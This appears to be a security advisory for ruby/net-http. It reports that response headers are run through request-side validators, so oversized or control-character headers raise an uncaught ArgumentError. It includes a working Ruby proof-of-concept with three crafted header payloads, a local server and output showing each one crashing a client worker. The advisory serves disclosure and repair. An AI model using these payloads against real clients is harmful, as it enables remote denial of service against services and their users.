Repository navigation
Description
About
Title: Response headers are checked with request-side limits and raise ArgumentError instead of a Net::HTTP protocol error
Repository: ruby/net-http
Location: lib/net/http/header.rb:289
Severity: Medium
Impacted versions: 0.4.0, 0.10.0, HEAD (e686ee5)
Summary
Every response header is added through Net::HTTPHeader#add_field, which runs the same
validation used for outgoing requests: a limit of 65536 bytes on header values, a limit of
1024 bytes on header names, and a ban on control characters and colons in names. When a
server sends a header that trips any of those checks, the response parser raises
ArgumentError from inside Net::HTTPResponse.read_new. ArgumentError is not a Net::HTTP
exception, so the rescue clauses the documentation recommends do not catch it.
The same limits also reject legitimate responses. Header values larger than 64 KiB are not
rare: large signed cookies, JWTs, SAML assertions, and some cloud-provider headers can
exceed it. Those responses can no longer be read at all, even though the limit was written
for the request side.
Impact
A remote server can reliably terminate a Net::HTTP worker by returning one oversized or
malformed header, giving a denial of service against URL fetchers, webhook handlers,
proxies, and any client that talks to a less-trusted origin. Separately, the request-side
limits break interoperability with legitimate servers whose headers are simply large, so
normal business traffic can fail. Because the failure is an ArgumentError and not a
Net.HTTPBadResponse, applications that follow the documented error-handling pattern cannot
recover gracefully.
Mitigations
Only affects responses whose header value exceeds 64 KiB, header name exceeds 1 KiB, or
header name contains a control character/colon — ordinary responses are fine, and
applications that rescue StandardError happen to survive (losing the response). A
correct implementation applies response-specific sanity limits and raises
Net::HTTPBadResponse (or another Net::HTTP protocol error) so callers can handle it,
instead of reusing the request's ArgumentError-raising validators.
Examples
example 1
A webhook receiver calls a tenant-supplied callback URL. The tenant returns a response
with a 100 KiB header value; the receiver's worker dies with ArgumentError instead of
recording a failed callback.
example 2
An integration with a cloud API starts failing after the provider introduces a large
bearer-token or signed-request header, because the response-side 64 KiB limit rejects an
otherwise valid 200 response.
example 3
A malicious origin sends a header name containing a control character, crashing any
Net::HTTP client that does not rescue StandardError, while the developer believes the
documented Net-HTTP rescues are sufficient.
Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC: response header limits throw ArgumentError instead of a Net::HTTP
# protocol error, crashing callers that only rescue Net::HTTP exceptions.
#
# Bug: lib/net/http/response.rb#read_new feeds every response header through
# Net::HTTPHeader#add_field -> set_field -> validate_field_name, i.e. the
# *request*-side checks. A response with a value over MAX_FIELD_LENGTH
# (65536), a name over MAX_KEY_LENGTH (1024) or a control character in a
# header name raises ArgumentError from inside response parsing. A server the
# app talks to (webhook/URL fetcher, attacker-run origin, hostile proxy) can
# therefore crash any caller that rescues Net::HTTPError/Net::HTTPBadResponse.
#
# ruby header_limit_poc.rb [REPO_ROOT] (default /src)
#
# Exit 0 means the exploit worked.
REPO = File.expand_path(ARGV[0] || '/src')
ENV['BUNDLE_GEMFILE'] = File.join(REPO, 'Gemfile')
require 'bundler/setup'
$LOAD_PATH.unshift File.join(REPO, 'lib')
require 'socket'
require 'rbconfig'
require 'tempfile'
require 'net/http'
src = Net::HTTPResponse.instance_method(:initialize).source_location.first
abort "not testing the repo copy (loaded #{src})" unless src.start_with?(REPO + '/')
MAX_FIELD = 65_536
MAX_KEY = 1024
# Three variants, all of which are just "a header the server chose".
ATTACKS = {
'value longer than MAX_FIELD_LENGTH (65536)' =>
"X-Filler: #{'A' * (MAX_FIELD + 1)}\r\n",
'name longer than MAX_KEY_LENGTH (1024)' =>
"#{'B' * (MAX_KEY + 1)}: x\r\n",
'control character in the header name' =>
"X-Go\x01od: x\r\n"
}
# A well-formed-but-invalid response: the app *does* rescue this one.
CONTROL = "GARBAGE\r\n\r\n"
# ---------------------------------------------------------------------------
# Victim application: a long-running worker that talks to a user-supplied
# endpoint and handles upstream failures the documented way.
# ---------------------------------------------------------------------------
VICTIM = <<~'RUBY'
ENV['BUNDLE_GEMFILE'] = File.join(ARGV[1], 'Gemfile')
require 'bundler/setup'
$LOAD_PATH.unshift File.join(ARGV[1], 'lib')
require 'net/http'
require 'timeout'
port = Integer(ARGV[0])
begin
http = Net::HTTP.new('127.0.0.1', port)
res = http.start { |h| h.request(Net::HTTP::Get.new('/hook')) }
puts "worker: served #{res.code} (#{res.body.bytesize} bytes)"
rescue Net::HTTPError, Net::HTTPBadResponse, Timeout::Error => e
puts "worker: handled upstream failure #{e.class}: #{e.message[0, 60]}"
exit 0
end
RUBY
def run_victim(response_bytes, label)
srv = TCPServer.new('127.0.0.1', 0)
port = srv.addr[1]
thr = Thread.new do
sock = srv.accept
while (line = sock.gets) && line != "\r\n"; end
sock.write(response_bytes) rescue nil
sleep 0.1
sock.close rescue nil
end
victim = Tempfile.new(['victim', '.rb'])
victim.write(VICTIM)
victim.flush
out = IO.popen([RbConfig.ruby, '-I', File.join(REPO, 'lib'), victim.path, port.to_s, REPO],
err: [:child, :out], &:read)
status = $?
thr.join(1)
srv.close rescue nil
crashed = !status.success?
puts "== #{label}"
out.each_line { |l| puts " #{l.chomp}" }
puts " worker exit status: #{status.exitstatus} (#{crashed ? 'CRASHED' : 'survived'})"
puts
crashed
end
# Control: a malformed status line raises Net::HTTPBadResponse, which the
# worker rescues -- the documented contract works.
control_crashed = run_victim(CONTROL, 'CONTROL - malformed status line (Net::HTTPBadResponse)')
results = ATTACKS.map do |label, line|
body = "HTTP/1.1 200 OK\r\n#{line}Content-Length: 0\r\n\r\n"
[label, run_victim(body, "ATTACK - #{label}")]
end
if !control_crashed && results.all? { |_, crashed| crashed }
puts 'EXPLOITED'
puts ' * the worker rescued Net::HTTPError/Net::HTTPBadResponse as documented'
puts ' * an oversized/control-character response header raised ArgumentError instead'
puts ' * the uncaught ArgumentError terminated the worker: every variant is a remote crash'
exit 0
end
warn 'NOT EXPLOITED'
exit 1stdout
== CONTROL - malformed status line (Net::HTTPBadResponse)
worker: handled upstream failure Net::HTTPBadResponse: wrong status line: "GARBAGE"
worker exit status: 0 (survived)
== ATTACK - value longer than MAX_FIELD_LENGTH (65536)
/src/lib/net/http/header.rb:290:in 'Net::HTTPHeader#set_field': header X-Filler has too long field value: 65537 bytes (limit 65536) (ArgumentError)
\tfrom /src/lib/net/http/header.rb:266:in 'Net::HTTPHeader#add_field'
\tfrom /src/lib/net/http/response.rb:157:in 'block in Net::HTTPResponse.read_new'
\tfrom /src/lib/net/http.rb:2537:in 'block in Net::HTTP#transport_request'
\tfrom /src/lib/net/http.rb:2496:in 'Net::HTTP#request'
worker exit status: 1 (CRASHED)
== ATTACK - name longer than MAX_KEY_LENGTH (1024)
/src/lib/net/http/header.rb:273:in 'Net::HTTPHeader#validate_field_name': too long (1025 bytes) header: "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"... (ArgumentError)
\tfrom /src/lib/net/http/header.rb:281:in 'Net::HTTPHeader#set_field'
\tfrom /src/lib/net/http/response.rb:157:in 'block in Net::HTTPResponse.read_new'
\tfrom /src/lib/net/http.rb:2537:in 'block in Net::HTTP#transport_request'
\tfrom /src/lib/net/http.rb:2496:in 'Net::HTTP#request'
worker exit status: 1 (CRASHED)
== ATTACK - control character in the header name
/src/lib/net/http/header.rb:276:in 'Net::HTTPHeader#validate_field_name': header field name cannot include control characters or colon: "X-Go\x01od" (ArgumentError)
\tfrom /src/lib/net/http/header.rb:281:in 'Net::HTTPHeader#set_field'
\tfrom /src/lib/net/http/response.rb:157:in 'block in Net::HTTPResponse.read_new'
\tfrom /src/lib/net/http.rb:2537:in 'block in Net::HTTP#transport_request'
\tfrom /src/lib/net/http.rb:2496:in 'Net::HTTP#request'
worker exit status: 1 (CRASHED)
EXPLOITED
* the worker rescued Net::HTTPError/Net::HTTPBadResponse as documented
* an oversized/control-character response header raised ArgumentError instead
* the uncaught ArgumentError terminated the worker: every variant is a remote crash
Activity